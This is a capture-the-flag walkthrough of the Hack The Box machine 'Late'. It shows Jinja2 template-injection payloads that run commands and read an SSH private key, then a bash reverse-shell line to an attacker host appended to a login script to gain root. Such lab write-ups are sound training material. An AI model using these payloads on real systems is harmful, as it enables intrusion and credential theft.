Late

Lorenzo Salvadore

August 27, 2022

1 Introduction.

Late is a machine rated easy.
We add the domain *late.htb* to our */etc/hosts* file with the IP provided by Hack The Box.
This writeup is loosely inspired on ***ippsec***'s walkthrough available on his youtube channel.

2 Initial enumeration.

We begin by scanning *late.htb* for open TCP ports, see listing 1.
A website is running on port 80 and we visit it: we find a link to `http://images.late.htb` on the homepage and we add the subdomain to our */etc/hosts* file.
On `http:/images.late.htb` we find an interface claiming to convert images to text. By direct experimentation, we discover that the web application takes the text in the images we upload and returns us a text file with it. Moreover the web interface tells us that it uses Flask.

3 Foothold.

The fact that the web application uses Flask strongly suggests that it might be vulnerable to some kind of SSTI. We craft a short proof of concept to check it: we create a text file with a typical payload (see listing 2), we make a screenshot of it (we include only the text we want, we make the font as big and clear as possible, we choose an homogeneous background with a color that makes a good contrast with the text), we upload it and we check the result (see list 3). It works, and we also discover the web application is running as user *svc_acc*. We now have remote code execution and we can read the output of our commands.

```
# Nmap 7.92 scan initiated Sun Jul 17 20:02:34 2022 as: nmap -sV -sC -p - -oN tcp-all.nmap late.htb
Nmap scan report for late.htb (10.10.11.156)
Host is up (0.079s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
|   256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_  256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 17 20:04:17 2022 -- 1 IP address (1 host up) scanned in 103.52 seconds
```

Listing 1: *Late*: Opened TCP ports.

```
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
```

Listing 2: *Late*: SSTI proof of concept

```
<p>uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)

</p>
```

Listing 3: *Late*: Result of the proof of concept in listing 2

4 Privilege escalation to user.

Since we can read the output of our commands, rather than using our remote code execution to get a reverse shell we can search for an *ssh* private key. Indeed, we discover that a private key is available at */home/svc_acc/.ssh/id_rsa*. With the payload in 4 we can retrieve it. Then, we only need to remove the extra *html* tags from the downloaded file, set the right permissions (`chmod 600 id_rsa`, assuming the file has been renamed *id_rsa*) and we can finally use it to enter the system (`ssh -i id_rsa svc_acc@late.htb`).

5 Privilege escalation to root.

Classical enumeration brings us to discover the file */usr/local/sbin/ssh-alert.sh*, for example as a file owned by *svc_acc*: see listing 5.

It looks as a file that sends a mail to *root* whenever someone logs into the system through *ssh*. Hopefully, *root* runs it regularly, maybe through a cron job, so that we can modify it to get a reverse shell. Looking at the file permissions with `ls -l` it looks like we can edit it (and as we already observed, we even own it): see listing 6. However it is not as simple as it seems: indeed if we run `lsattr` (listing 7) we discover that we can only append text to the file, not editing it freely.

Then we append a line to the file to send a reverse shell to our attacking machine (listing 8), open a listener for our reverse shell, log again into the machine as *svc_acc* using *ssh* and enjoy our *root* reverse shell.

Warning: a mechanism is in place to restore *ssh-alert.sh* to its original content, so if you fail getting a reverse shell, you might have been too slow and need to try again appending your payload to *ssh-alert.sh*.

```
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /home/svc_acc/.ssh/id_rsa').read() }}
```

Listing 4: *Late*: Payload to retrieve *svc_acc*'s *ssh* private key.

```
#!/bin/bash

RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"

BODY="
A SSH login was detected.

        User:         $PAM_USER
        User IP Host: $PAM_RHOST
        Service:      $PAM_SERVICE
        TTY:          $PAM_TTY
        Date:         `date`
        Server:       `uname -a`
"

if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
```

Listing 5: *Late*: Content of */usr/local/sbin/ssh-alert.sh*.

```
-rwxr-xr-x 1 svc_acc svc_acc 433 Aug  9 17:05 /usr/local/sbin/ssh-alert.sh
```

Listing 6: *Late*: Output of `ls -l /usr/local/sbin/ssh-alert.sh`.

```
-----a--------e--- /usr/local/sbin/ssh-alert.sh
```

Listing 7: *Late*: Output of `lsattr /usr/local/sbin/ssh-alert.sh`.

```
bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1
```

Listing 8: *Late*: Payload to get a reverse shell.